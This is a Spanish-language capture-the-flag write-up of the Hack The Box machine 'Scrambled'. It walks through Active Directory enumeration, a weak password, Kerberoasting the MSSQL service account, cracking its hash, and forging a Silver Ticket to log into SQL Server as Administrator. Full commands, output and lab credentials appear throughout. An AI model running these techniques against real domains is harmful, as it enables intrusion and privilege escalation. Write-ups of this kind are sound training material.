Hack The Box: Scrambled Writeup | Medium

Table of Contents

Hack The Box: Scrambled Writeup

Welcome to my detailed writeup of the medium difficulty machine “Scrambled” on Hack The Box. This writeup will cover the steps taken to achieve initial foothold and escalation to root.

TCP Enumeration

1rustscan -a 10.129.108.148 --ulimit 5000 -g
210.129.108.148 -> [53,80,88,135,139,389,445,464,593,636,1433,3268,3269,4411,5985,9389,49667,49673,49674,49700,49701,49720]
  1nmap -p53,80,88,135,139,389,445,464,593,636,1433,3268,3269,4411,5985,9389,49667,49673,49674,49700,49701,49720 -sCV 10.129.108.148 -oN allPorts
  2Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-18 15:13 CET
  3Stats: 0:00:06 elapsed; 0 hosts completed 
  4Nmap scan report for 10.129.108.148
  5Host is up (0.038s latency).
  6
  7Bug in ms-sql-ntlm-info: no string output.
  8PORT      STATE SERVICE       VERSION
  953/tcp    open  domain        Simple DNS Plus
 1080/tcp    open  http          Microsoft IIS httpd 10.0
 11| http-methods:
 12|_  Potentially risky methods: TRACE
 13|_http-title: Scramble Corp Intranet
 14|_http-server-header: Microsoft-IIS/10.0
 1588/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2024-12-18 14:13:34Z)
 16135/tcp   open  msrpc         Microsoft Windows RPC
 17139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
 18389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: scrm.local0., Site: Default-First-Site-Name)
 19| ssl-cert: Subject:
 20| Subject Alternative Name: DNS:DC1.scrm.local
 21| Not valid before: 2024-09-04T11:14:45
 22|_Not valid after:  2121-06-08T22:39:53
 23|_ssl-date: 2024-12-18T14:16:45+00:00; +1s from scanner time.
 24445/tcp   open  microsoft-ds?
 25464/tcp   open  kpasswd5?
 26593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
 27636/tcp   open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: scrm.local0., Site: Default-First-Site-Name)
 28|_ssl-date: 2024-12-18T14:16:45+00:00; +1s from scanner time.
 29| ssl-cert: Subject:
 30| Subject Alternative Name: DNS:DC1.scrm.local
 31| Not valid before: 2024-09-04T11:14:45
 32|_Not valid after:  2121-06-08T22:39:53
 331433/tcp  open  ms-sql-s      Microsoft SQL Server 2019 15.00.2000.00; RTM
 34|_ssl-date: 2024-12-18T14:16:45+00:00; +1s from scanner time.
 35| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
 36| Not valid before: 2024-12-18T14:11:49
 37|_Not valid after:  2054-12-18T14:11:49
 38| ms-sql-info:
 39|   10.129.108.148:1433:
 40|     Version:
 41|       name: Microsoft SQL Server 2019 RTM
 42|       number: 15.00.2000.00
 43|       Product: Microsoft SQL Server 2019
 44|       Service pack level: RTM
 45|       Post-SP patches applied: false
 46|_    TCP port: 1433
 473268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: scrm.local0., Site: Default-First-Site-Name)
 48| ssl-cert: Subject:
 49| Subject Alternative Name: DNS:DC1.scrm.local
 50| Not valid before: 2024-09-04T11:14:45
 51|_Not valid after:  2121-06-08T22:39:53
 52|_ssl-date: 2024-12-18T14:16:45+00:00; +1s from scanner time.
 533269/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: scrm.local0., Site: Default-First-Site-Name)
 54| ssl-cert: Subject:
 55| Subject Alternative Name: DNS:DC1.scrm.local
 56| Not valid before: 2024-09-04T11:14:45
 57|_Not valid after:  2121-06-08T22:39:53
 58|_ssl-date: 2024-12-18T14:16:45+00:00; +1s from scanner time.
 594411/tcp  open  found?
 60| fingerprint-strings:
 61|   DNSStatusRequestTCP, DNSVersionBindReqTCP, GenericLines, JavaRMI, Kerberos, LANDesk-RC, LDAPBindReq, LDAPSearchReq, NCP, NULL, NotesRPC, RPCCheck, SMBProgNeg, SSLSessionReq, TLSSessionReq, TerminalServer, TerminalServerCookie, WMSRequest, X11Probe, afp, giop, ms-sql-s, oracle-tns:
 62|     SCRAMBLECORP_ORDERS_V1.0.3;
 63|   FourOhFourRequest, GetRequest, HTTPOptions, Help, LPDString, RTSPRequest, SIPOptions:
 64|     SCRAMBLECORP_ORDERS_V1.0.3;
 65|_    ERROR_UNKNOWN_COMMAND;
 665985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
 67|_http-title: Not Found
 68|_http-server-header: Microsoft-HTTPAPI/2.0
 699389/tcp  open  mc-nmf        .NET Message Framing
 7049667/tcp open  msrpc         Microsoft Windows RPC
 7149673/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
 7249674/tcp open  msrpc         Microsoft Windows RPC
 7349700/tcp open  msrpc         Microsoft Windows RPC
 7449701/tcp open  msrpc         Microsoft Windows RPC
 7549720/tcp open  msrpc         Microsoft Windows RPC
 761 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
 77SF-Port4411-TCP:V=7.94SVN%I=7%D=12/18%Time=6762D88B%P=x86_64-pc-linux-gnu%
 78SF:r(NULL,1D,"SCRAMBLECORP_ORDERS_V1\.0\.3;\r\n")%r(GenericLines,1D,"SCRAM
 79SF:BLECORP_ORDERS_V1\.0\.3;\r\n")%r(GetRequest,35,"SCRAMBLECORP_ORDERS_V1\
 80SF:.0\.3;\r\nERROR_UNKNOWN_COMMAND;\r\n")%r(HTTPOptions,35,"SCRAMBLECORP_O
 81SF:RDERS_V1\.0\.3;\r\nERROR_UNKNOWN_COMMAND;\r\n")%r(RTSPRequest,35,"SCRAM
 82SF:BLECORP_ORDERS_V1\.0\.3;\r\nERROR_UNKNOWN_COMMAND;\r\n")%r(RPCCheck,1D,
 83SF:"SCRAMBLECORP_ORDERS_V1\.0\.3;\r\n")%r(DNSVersionBindReqTCP,1D,"SCRAMBL
 84SF:ECORP_ORDERS_V1\.0\.3;\r\n")%r(DNSStatusRequestTCP,1D,"SCRAMBLECORP_ORD
 85SF:ERS_V1\.0\.3;\r\n")%r(Help,35,"SCRAMBLECORP_ORDERS_V1\.0\.3;\r\nERROR_U
 86SF:NKNOWN_COMMAND;\r\n")%r(SSLSessionReq,1D,"SCRAMBLECORP_ORDERS_V1\.0\.3;
 87SF:\r\n")%r(TerminalServerCookie,1D,"SCRAMBLECORP_ORDERS_V1\.0\.3;\r\n")%r
 88SF:(TLSSessionReq,1D,"SCRAMBLECORP_ORDERS_V1\.0\.3;\r\n")%r(Kerberos,1D,"S
 89SF:CRAMBLECORP_ORDERS_V1\.0\.3;\r\n")%r(SMBProgNeg,1D,"SCRAMBLECORP_ORDERS
 90SF:_V1\.0\.3;\r\n")%r(X11Probe,1D,"SCRAMBLECORP_ORDERS_V1\.0\.3;\r\n")%r(F
 91SF:ourOhFourRequest,35,"SCRAMBLECORP_ORDERS_V1\.0\.3;\r\nERROR_UNKNOWN_COM
 92SF:MAND;\r\n")%r(LPDString,35,"SCRAMBLECORP_ORDERS_V1\.0\.3;\r\nERROR_UNKN
 93SF:OWN_COMMAND;\r\n")%r(LDAPSearchReq,1D,"SCRAMBLECORP_ORDERS_V1\.0\.3;\r\
 94SF:n")%r(LDAPBindReq,1D,"SCRAMBLECORP_ORDERS_V1\.0\.3;\r\n")%r(SIPOptions,
 95SF:35,"SCRAMBLECORP_ORDERS_V1\.0\.3;\r\nERROR_UNKNOWN_COMMAND;\r\n")%r(LAN
 96SF:Desk-RC,1D,"SCRAMBLECORP_ORDERS_V1\.0\.3;\r\n")%r(TerminalServer,1D,"SC
 97SF:RAMBLECORP_ORDERS_V1\.0\.3;\r\n")%r(NCP,1D,"SCRAMBLECORP_ORDERS_V1\.0\.
 98SF:3;\r\n")%r(NotesRPC,1D,"SCRAMBLECORP_ORDERS_V1\.0\.3;\r\n")%r(JavaRMI,1
 99SF:D,"SCRAMBLECORP_ORDERS_V1\.0\.3;\r\n")%r(WMSRequest,1D,"SCRAMBLECORP_OR
100SF:DERS_V1\.0\.3;\r\n")%r(oracle-tns,1D,"SCRAMBLECORP_ORDERS_V1\.0\.3;\r\n
101SF:")%r(ms-sql-s,1D,"SCRAMBLECORP_ORDERS_V1\.0\.3;\r\n")%r(afp,1D,"SCRAMBL
102SF:ECORP_ORDERS_V1\.0\.3;\r\n")%r(giop,1D,"SCRAMBLECORP_ORDERS_V1\.0\.3;\r
103SF:\n");
104Service Info: Host: DC1; OS: Windows; CPE: cpe:/o:microsoft:windows
105
106Host script results:
107| smb2-security-mode:
108|   3:1:1:
109|_    Message signing enabled and required
110| smb2-time:
111|   date: 2024-12-18T14:16:09
112|_  start_date: N/A
113
114Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
115Nmap done: 1 IP address (1 host up) scanned in 201.21 seconds

UDP Enumeration

 1sudo nmap --top-ports 1500 -sU --min-rate 5000 -n -Pn 10.129.108.148 -oN allPorts.UDP
 2[sudo] password for kali:
 3Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-18 15:14 CET
 4Nmap scan report for 10.129.108.148
 5Host is up (0.043s latency).
 6Not shown: 1498 open|filtered udp ports (no-response)
 7PORT    STATE SERVICE
 888/udp  open  kerberos-sec
 9123/udp open  ntp
10
11Nmap done: 1 IP address (1 host up) scanned in 0.86 seconds

Del escaneo inicial encontramos el dominio scrm.local, lo añadimos al /etc/hosts

También vemos seguramente lo que es el controlador de dominio, DC1.scrm.local, lo añadimos al /etc/hosts

También vemos dos cosas interesantes, está expuesto el puerto 1433 que corresponde a un MSSQL, y vemos el puerto 4411 que corresponde a un servicio desconocido.

DNS Enumeration

Vamos a enumerar el servicio DNS para intentar encontrar otros subdominios, podemos consultar los registros con dig pero no vemos nada que no sepamos.

 1dig A scrm.local @10.129.108.148
 2
 3; <<>> DiG 9.19.19-1-Debian <<>> A scrm.local @10.129.108.148
 4;; global options: +cmd
 5;; Got answer:
 6;; WARNING: .local is reserved for Multicast DNS
 7;; You are currently testing what happens when an mDNS query is leaked to DNS
 8;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 62846
 9;; flags: qr aa rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1
10
11;; OPT PSEUDOSECTION:
12; EDNS: version: 0, flags:; udp: 4000
13;; QUESTION SECTION:
14;scrm.local.			IN	A
15
16;; ANSWER SECTION:
17scrm.local.		600	IN	A	10.129.108.148
18
19;; Query time: 36 msec
20;; SERVER: 10.129.108.148#53(10.129.108.148) (UDP)
21;; WHEN: Wed Dec 18 15:20:55 CET 2024
22;; MSG SIZE  rcvd: 55
 1dig NS scrm.local @10.129.108.148
 2
 3; <<>> DiG 9.19.19-1-Debian <<>> NS scrm.local @10.129.108.148
 4;; global options: +cmd
 5;; Got answer:
 6;; WARNING: .local is reserved for Multicast DNS
 7;; You are currently testing what happens when an mDNS query is leaked to DNS
 8;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 54633
 9;; flags: qr aa rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 3
10
11;; OPT PSEUDOSECTION:
12; EDNS: version: 0, flags:; udp: 4000
13;; QUESTION SECTION:
14;scrm.local.			IN	NS
15
16;; ANSWER SECTION:
17scrm.local.		3600	IN	NS	dc1.scrm.local.
18
19;; ADDITIONAL SECTION:
20dc1.scrm.local.		1200	IN	A	10.129.108.148
21dc1.scrm.local.		1200	IN	AAAA	dead:beef::f823:3fa4:9f87:619d
22
23;; Query time: 40 msec
24;; SERVER: 10.129.108.148#53(10.129.108.148) (UDP)
25;; WHEN: Wed Dec 18 15:20:58 CET 2024
26;; MSG SIZE  rcvd: 101

También podemos intentar una transferencia de zona pero no podemos.

1dig axfr scrm.local @10.129.108.148
2
3; <<>> DiG 9.19.19-1-Debian <<>> axfr scrm.local @10.129.108.148
4;; global options: +cmd
5; Transfer failed.

Podemos intentar hacer fuerza bruta de subdominios a ver si encontramos algún registro que no hayamos podido ver en un principio pero no vemos nada nuevo.

 1dnsenum --dnsserver 10.129.108.148 scrm.local -f /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-110000.txt
 2dnsenum VERSION:1.2.6
 3
 4-----   scrm.local   -----
 5
 6
 7Host's addresses:
 8__________________
 9
10scrm.local.                              600      IN    A        10.129.108.148
11
12
13Name Servers:
14______________
15
16dc1.scrm.local.                          1200     IN    A        10.129.108.148
17
18
19Mail (MX) Servers:
20___________________
21
22
23
24Trying Zone Transfers and getting Bind Versions:
25_________________________________________________
26
27unresolvable name: dc1.scrm.local at /usr/bin/dnsenum line 897.
28
29Trying Zone Transfer for scrm.local on dc1.scrm.local ...
30AXFR record query failed: no nameservers
31
32
33Brute forcing with /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-110000.txt:
34__________________________________________________________________________________________________

HTTP Enumeration

Vamos a enumerar el servicio web, whatwebno nos reporta nada interesante, pero podemos ver que se está utilizando un IIS por detrás.

1whatweb http://scrm.local
2http://scrm.local [200 OK] Country[RESERVED][ZZ], HTML5, HTTPServer[Microsoft-IIS/10.0], IP[10.129.108.148], JQuery, Microsoft-IIS[10.0], Script, Title[Scramble Corp Intranet]

Así se ve el sitio web. Write-up Image

Some Interesting Information

En el recurso /support.html encontramos un mensaje bastante interesante.

04/09/2021: Due to the security breach last month we have now disabled all NTLM authentication on our network. This may cause problems for some of the programs you use so please be patient while we work to resolve any issues

Esto significa que la organización quiere utilizar métodos más seguros de autenticación, probablemente Kerberos, así que habrá que jugar mucho con tickets en esta máquina.

En el recurso /supportrequest.html encontramos una captura de pantalla que reporta un nombre de usuario, ksimpson Write-up Image

En el recurso newuser.html encontramos un formulario que no tiene destino, así que lo podemos ignorar.

Otra cosa interesante que encontramos en el sitio web, es el recurso /salesorders.html, podemos ver una aplicación personalizada donde vemos que se utiliza el puerto 4411 que es el que no sabíamos a que pertenecía en el escaneo de nmap

Write-up Image

También vemos que hay una opción en el programa llamada Enable Debug Logging el cual según la descripción, crearía un archivo ScrambleDebugLog en el mismo directorio donde hemos lanzado la aplicación de ventas.

Insecure password without NTLM auth

Lo único que tenemos es el usuario ksimpson, me gustaría probar primero si este usuario es válido a nivel de dominio, para ello podemos utilizar kerbrute

 1/usr/share/kerbrute userenum --dc 10.129.108.148 -d scrm.local users.txt
 2
 3    __             __               __
 4   / /_____  _____/ /_  _______  __/ /____
 5  / //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
 6 / ,< /  __/ /  / /_/ / /  / /_/ / /_/  __/
 7/_/|_|\___/_/  /_.___/_/   \__,_/\__/\___/
 8
 9Version: v1.0.3 (9dad6e1) - 12/18/24 - Ronnie Flathers @ropnop
10
112024/12/18 15:34:27 >  Using KDC(s):
122024/12/18 15:34:27 >  	10.129.108.148:88
13
142024/12/18 15:34:27 >  [+] VALID USERNAME:	 ksimpson@scrm.local
152024/12/18 15:34:27 >  Done! Tested 1 usernames (1 valid) in 0.042 seconds

Eso es bueno, ya que podemos probar a ver si este usuario tiene el atributo UF_DONT_REQUIRE_PREAUTH activado (no).

Pero también podemos intentar recorrer el rockyou.txt con kerbrute, después de un rato no encontramos nada.

 1/usr/share/kerbrute bruteuser --dc 10.129.108.148 -d scrm.local /usr/share/wordlists/rockyou.txt ksimpson
 2
 3    __             __               __
 4   / /_____  _____/ /_  _______  __/ /____
 5  / //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
 6 / ,< /  __/ /  / /_/ / /  / /_/ / /_/  __/
 7/_/|_|\___/_/  /_.___/_/   \__,_/\__/\___/
 8
 9Version: v1.0.3 (9dad6e1) - 12/18/24 - Ronnie Flathers @ropnop
10
112024/12/18 15:35:28 >  Using KDC(s):
122024/12/18 15:35:28 >  	10.129.108.148:88

Si intentamos el mismo usuario como contraseña vemos que es un combo válido.

 1/usr/share/kerbrute bruteuser --dc 10.129.108.148 -d scrm.local users.txt ksimpson
 2
 3    __             __               __
 4   / /_____  _____/ /_  _______  __/ /____
 5  / //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
 6 / ,< /  __/ /  / /_/ / /  / /_/ / /_/  __/
 7/_/|_|\___/_/  /_.___/_/   \__,_/\__/\___/
 8
 9Version: v1.0.3 (9dad6e1) - 12/18/24 - Ronnie Flathers @ropnop
10
112024/12/18 15:35:40 >  Using KDC(s):
122024/12/18 15:35:40 >  	10.129.108.148:88
13
142024/12/18 15:35:40 >  [+] VALID LOGIN:	 ksimpson@scrm.local:ksimpson
152024/12/18 15:35:40 >  Done! Tested 1 logins (1 successes) in 0.162 seconds

SMB Enumeration without NTLM

No podemos enumerar el SMB utilizando smbmap ya que la autenticación debe de ser mediante Kerberos, aunque creo que si que admite autenticación por Kerberos pero esta vez vamos a optar por una forma alternativa mas rápida.

 1smbmap -H 10.129.108.148 -u ksimpson -p ksimpson
 2
 3    ________  ___      ___  _______   ___      ___       __         _______
 4   /"       )|"  \    /"  ||   _  "\ |"  \    /"  |     /""\       |   __ "\
 5  (:   \___/  \   \  //   |(. |_)  :) \   \  //   |    /    \      (. |__) :)
 6   \___  \    /\  \/.    ||:     \/   /\   \/.    |   /' /\  \     |:  ____/
 7    __/  \   |: \.        |(|  _  \  |: \.        |  //  __'  \    (|  /
 8   /" \   :) |.  \    /:  ||: |_)  :)|.  \    /:  | /   /  \   \  /|__/ \
 9  (_______/  |___|\__/|___|(_______/ |___|\__/|___|(___/    \___)(_______)
10 -----------------------------------------------------------------------------
11     SMBMap - Samba Share Enumerator | Shawn Evans - ShawnDEvans@gmail.com
12                     https://github.com/ShawnDEvans/smbmap
13
14[*] Detected 1 hosts serving SMB
15[*] Established 0 SMB session(s)

smbmap por ejemplo, debería de soportar la autenticación por Kerberos, pero supongo que debería solicitar el ticket TGT y exportarlo al KRB5CCNAME, pero para ello podemos utilizar la herramienta impacket-smbclient especificando el parámetro -k para habilitar la autenticación por Kerberos.

 1impacket-smbclient scrm.local/ksimpson:ksimpson@DC1.scrm.local -k
 2Impacket v0.12.0.dev1+20240711.104209.512a1db5 - Copyright 2023 Fortra
 3
 4[-] CCache file is not found. Skipping...
 5Type help for list of commands
 6# shares
 7ADMIN$
 8C$
 9HR
10IPC$
11IT
12NETLOGON
13Public
14Sales
15SYSVOL

Vemos varios recursos interesantes, pero para la mayoría no tenemos acceso.

1# use HR
2[-] SMB SessionError: code: 0xc0000022 - STATUS_ACCESS_DENIED - {Access Denied} A process has requested access to an object but has not been granted those access rights.
3# use IT
4[-] SMB SessionError: code: 0xc0000022 - STATUS_ACCESS_DENIED - {Access Denied} A process has requested access to an object but has not been granted those access rights.
5# use Sales
6[-] SMB SessionError: code: 0xc0000022 - STATUS_ACCESS_DENIED - {Access Denied} A process has requested access to an object but has not been granted those access rights.

Sin embargo en el recurso Public vemos un PDF

1# ls
2drw-rw-rw-          0  Thu Nov  4 23:23:19 2021 .
3drw-rw-rw-          0  Thu Nov  4 23:23:19 2021 ..
4-rw-rw-rw-     630106  Fri Nov  5 18:45:07 2021 Network Security Changes.pdf

Nos podemos descargar este documento.

1# get Network Security Changes.pdf

Voy a renombrar el documento para quitar los espacios.

1mv Network\ Security\ Changes.pdf doc.pdf

No vemos ningún metadato interesante.

 1exiftool doc.pdf
 2ExifTool Version Number         : 12.76
 3File Name                       : doc.pdf
 4Directory                       : .
 5File Size                       : 630 kB
 6File Modification Date/Time     : 2024:12:18 15:50:55+01:00
 7File Access Date/Time           : 2024:12:18 15:51:29+01:00
 8File Inode Change Date/Time     : 2024:12:18 15:51:12+01:00
 9File Permissions                : -rw-r--r--
10File Type                       : PDF
11File Type Extension             : pdf
12MIME Type                       : application/pdf
13PDF Version                     : 1.5
14Linearized                      : No
15Page Count                      : 1
16Language                        : en-GB
17Tagged PDF                      : Yes
18Producer                        : Microsoft® Word 2010
19Creator                         : Microsoft® Word 2010
20Create Date                     : 2021:11:04 22:20:49+00:00
21Modify Date                     : 2021:11:04 22:20:49+00:00

Vamos a servir este documento por el puerto 8081 y así podemos visualizarlo cómodamente desde el navegador.

1python3 -m http.server 8081
2Serving HTTP on 0.0.0.0 port 8081 (http://0.0.0.0:8081/) ...

Kerberoasting

En resumen han habido algunos cambios, primero se ha deshabilitado la autenticación NTLM y ahora se utiliza Kerberos para acceder a los recursos. Y el segundo cambio fue que se eliminó acceso al MSSQL excepto para los administradores de red. Write-up Image

Sabiendo que está el servicio de MSSQL, algo que debería de haber probado es el kerberoasting que además es totalmente compatible con que la autenticación NTLM esté desactivada.

Con impacket-GetUserSPNs vemos dos SPN’s para el servicio de MSSQL.

1impacket-GetUserSPNs scrm.local/ksimpson:ksimpson -k -dc-host DC1.scrm.local
2Impacket v0.12.0.dev1+20240711.104209.512a1db5 - Copyright 2023 Fortra
3
4[-] CCache file is not found. Skipping...
5[-] CCache file is not found. Skipping...
6ServicePrincipalName          Name    MemberOf  PasswordLastSet             LastLogon                   Delegation
7----------------------------  ------  --------  --------------------------  --------------------------  ----------
8MSSQLSvc/dc1.scrm.local:1433  sqlsvc            2021-11-03 17:32:02.351452  2024-12-18 15:11:46.512900
9MSSQLSvc/dc1.scrm.local       sqlsvc            2021-11-03 17:32:02.351452  2024-12-18 15:11:46.512900

Ahora con el parámetro -request podemos solicitar el TGS e intentar crackear el hash de forma offline. Write-up Image

Podemos intentar crackear el hash con john y conseguimos una credencial.

1john -w=/usr/share/wordlists/rockyou.txt hash
2Using default input encoding: UTF-8
3Loaded 1 password hash (krb5tgs, Kerberos 5 TGS etype 23 [MD4 HMAC-MD5 RC4])
4Will run 4 OpenMP threads
5Press 'q' or Ctrl-C to abort, almost any other key for status
6Pegasus60        (?)
71g 0:00:00:06 DONE (2024-12-18 15:58) 0.1587g/s 1703Kp/s 1703Kc/s 1703KC/s Penrose..Pearce
8Use the "--show" option to display all of the cracked passwords reliably
9Session completed.

Silver Ticket Attack

Una pista interesante que nos han dado en el PDF es la sección de que solo pueden acceder al servidor MSSQL los administradores del dominio, y nosotros teniendo la credencial de la cuenta de usuario que alberga este servicio podemos hacer un ataque Silver Ticket para que el servicio de MSSQL se piense que somos administradores del dominio.

Según esta entrada en thehacker.recipes, necesitamos saber varias cosas para poder hacer este ataque.

Obtaining Domain SID

Para esto, primero necesitamos saber el SID del dominio, para esto se suele utilizar impacket-lookupsid pero se utiliza autenticación NTLM, por lo cual tenemos que buscar una herramienta alternativa, podríamos hacer una consulta LDAP para consultar el SID del dominio como se muestra en esta pregunta de serverfault

Pero bien, si intentamos hacer una consulta con ldapsearch nos reporta que las credenciales no son válidas ya que se utiliza NTLM.

1ldapsearch -LLL -H ldap://DC1.scrm.local:389 -b dc=scrm,dc=local -D scrm.local\ksimpson -w ksimpson "(sAMAccountName=ksimpson)" | grep -i "objectSid::" | cut -d ":" -f3 | xargs
2ldap_bind: Invalid credentials (49)
3	additional info: 80090308: LdapErr: DSID-0C090439, comment: AcceptSecurityContext error, data 52e, v4563

Configuring /etc/krb5.conf to use ldapsearch with GSSAPI

Según esta otra pregunta de serverfault, podemos autenticarnos por Kerberos con ldapsearch, primero tenemos que instalar el paquete libsasl2-modules-gssapi-mit con:

1sudo apt install libsasl2-modules-gssapi-mit

Ahora, tenemos que utilizar kinit para autenticar a un usuario y obtener el TGT, y así mediante el parámetro -Y GSSAPI de ldapsearch autenticarnos con Kerberos.

Primero tenemos que añadir el Realm SCRM.local al archivo /etc/krb5.conf ya que obviamente, no tenemos creado el Realm.

1kinit ksimpson@scrm.local
2kinit: Cannot find KDC for realm "scrm.local" while getting initial credentials

Así ha quedado el archivo /etc/krb5.conf

[libdefaults]
    default_realm = SCRM.LOCAL

[realms]
    SCRM.LOCAL = {
        kdc = 10.129.108.148
    }

[domain_realm]
    DC1.SCRM.LOCAL = SCRM.LOCAL

Ahora podemos solicitar el TGT como ksimpson

1kinit ksimpson
2Password for ksimpson@SCRM.LOCAL:

Lo podemos comprobar con klist

1klist
2Ticket cache: FILE:/tmp/krb5cc_1000
3Default principal: ksimpson@SCRM.LOCAL
4
5Valid starting       Expires              Service principal
612/18/2024 16:22:00  12/19/2024 02:22:00  krbtgt/SCRM.LOCAL@SCRM.LOCAL
7	renew until 12/19/2024 16:21:58

Converting ObjectSid to Domain SID

Ahora si que podemos recuperar el objectSid haciendo la consulta por LDAP.

1ldapsearch -LLL -Y GSSAPI -H ldap://DC1.scrm.local:389 -b dc=scrm,dc=local -D scrm.local\ksimpson -w ksimpson "(sAMAccountName=ksimpson)" | grep -i "objectSid::" | cut -d ":" -f3 | xargs
2SASL/GSSAPI authentication started
3SASL username: ksimpson@SCRM.LOCAL
4SASL SSF: 256
5SASL data security layer installed.
6AQUAAAAAAAUVAAAAhQSCo0F98mxA04uXUwYAAA==

Ahora con este script de bash podemos construir el SID a partir del ObjectSid que tenemos.

 1#!/bin/bash
 2
 3# Base-64 encoded objectSid
 4OBJECT_ID="AQUAAAAAAAUVAAAAhQSCo0F98mxA04uXUwYAAA=="
 5
 6# Decode it, hex-dump it and store it in an array
 7G=($(echo -n $OBJECT_ID | base64 -d -i | hexdump -v -e '1/1 " %02X"'))
 8
 9# SID in HEX
10# SID_HEX=${G[0]}-${G[1]}-${G[2]}${G[3]}${G[4]}${G[5]}${G[6]}${G[7]}-${G[8]}${G[9]}${G[10]}${G[11]}-${G[12]}${G[13]}${G[14]}${G[15]}-${G[16]}${G[17]}${G[18]}${G[19]}-${G[20]}${G[21]}${G[22]}${G[23]}-${G[24]}${G[25]}${G[26]}${G[27]}${G[28]}
11
12# SID Structure: https://technet.microsoft.com/en-us/library/cc962011.aspx
13# LESA = Little Endian Sub Authority
14# BESA = Big Endian Sub Authority
15# LERID = Little Endian Relative ID
16# BERID = Big Endian Relative ID
17
18BESA2=${G[8]}${G[9]}${G[10]}${G[11]}
19BESA3=${G[12]}${G[13]}${G[14]}${G[15]}
20BESA4=${G[16]}${G[17]}${G[18]}${G[19]}
21BESA5=${G[20]}${G[21]}${G[22]}${G[23]}
22BERID=${G[24]}${G[25]}${G[26]}${G[27]}${G[28]}
23
24LESA1=${G[2]}${G[3]}${G[4]}${G[5]}${G[6]}${G[7]}
25LESA2=${BESA2:6:2}${BESA2:4:2}${BESA2:2:2}${BESA2:0:2}
26LESA3=${BESA3:6:2}${BESA3:4:2}${BESA3:2:2}${BESA3:0:2}
27LESA4=${BESA4:6:2}${BESA4:4:2}${BESA4:2:2}${BESA4:0:2}
28LESA5=${BESA5:6:2}${BESA5:4:2}${BESA5:2:2}${BESA5:0:2}
29LERID=${BERID:6:2}${BERID:4:2}${BERID:2:2}${BERID:0:2}
30
31LE_SID_HEX=${LESA1}-${LESA2}-${LESA3}-${LESA4}-${LESA5}-${LERID}
32
33# Initial SID value which is used to construct actual SID
34SID="S-1"
35
36# Convert LE_SID_HEX to decimal values and append it to SID as a string
37IFS='-' read -ra ADDR <<< "${LE_SID_HEX}"
38for OBJECT in "${ADDR[@]}"; do
39  SID=${SID}-$((16#${OBJECT}))
40done
41
42echo ${SID}

Y ahora ejecutando el script, conseguimos el SID, eso sí, hay que borrar la última parte ya que pertenece al RID.

1./sid.sh
2S-1-5-21-2743207045-1827831105-2542523200-1619

Credential to NTLM Hash

Ahora necesitamos saber el hash NT:LM de la contraseña que tenemos, para ello podemos utilizar python.

1>>> import hashlib,binascii
2>>> hash = hashlib.new('md4', "Pegasus60".encode('utf-16le')).digest()
3>>> print(binascii.hexlify(hash))
4b'b999a16500b87d17ec7f2e2a68778f05'

Creating the Silver Ticket & Accessing the MSSQL Instance

Entonces, ya tenemos lo necesario.

Ahora con ticketer.py podemos generar un Silver Ticket como el usuario Administrator.

 1ticketer.py -nthash "b999a16500b87d17ec7f2e2a68778f05" -domain-sid "S-1-5-21-2743207045-1827831105-2542523200" -domain scrm.local -spn "MSSQLSvc/dc1.scrm.local" "Administrator"
 2Impacket v0.12.0.dev1+20240711.104209.512a1db5 - Copyright 2023 Fortra
 3
 4[*] Creating basic skeleton ticket and PAC Infos
 5[*] Customizing ticket for scrm.local/Administrator
 6[*] 	PAC_LOGON_INFO
 7[*] 	PAC_CLIENT_INFO_TYPE
 8[*] 	EncTicketPart
 9[*] 	EncTGSRepPart
10[*] Signing/Encrypting final ticket
11[*] 	PAC_SERVER_CHECKSUM
12[*] 	PAC_PRIVSVR_CHECKSUM
13[*] 	EncTicketPart
14[*] 	EncTGSRepPart
15[*] Saving ticket in Administrator.ccache

Exportamos la variable de entorno necesaria para poder autenticarnos con Kerberos.

1export KRB5CCNAME=$(pwd)/Administrator.ccache

Ahora si utilizamos klist podemos ver nuestro ticket y comprobar el principal.

1klist
2Ticket cache: FILE:/home/kali/Desktop/scrambled/content/Administrator.ccache
3Default principal: Administrator@SCRM.LOCAL
4
5Valid starting       Expires              Service principal
612/18/2024 16:55:28  12/16/2034 16:55:28  MSSQLSvc/dc1.scrm.local@SCRM.LOCAL
7	renew until 12/16/2034 16:55:28

Ahora con impacket-mssqlclient.py podemos iniciar sesión en el MSSQL perfectamente.

 1mssqlclient.py -k dc1.scrm.local
 2Impacket v0.12.0.dev1+20240711.104209.512a1db5 - Copyright 2023 Fortra
 3
 4[*] Encryption required, switching to TLS
 5[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
 6[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
 7[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
 8[*] INFO(DC1): Line 1: Changed database context to 'master'.
 9[*] INFO(DC1): Line 1: Changed language setting to us_english.
10[*] ACK: Result: 1 - Microsoft SQL Server (150 7208)
11[!] Press help for extra shell commands
12SQL (SCRM\administrator  dbo@master)>

Information Disclosure

En este punto, ya podemos ejecutar comandos de forma remota utilizando la función xp_cmdshell

1SQL (SCRM\administrator  dbo@master)> enable_xp_cmdshell
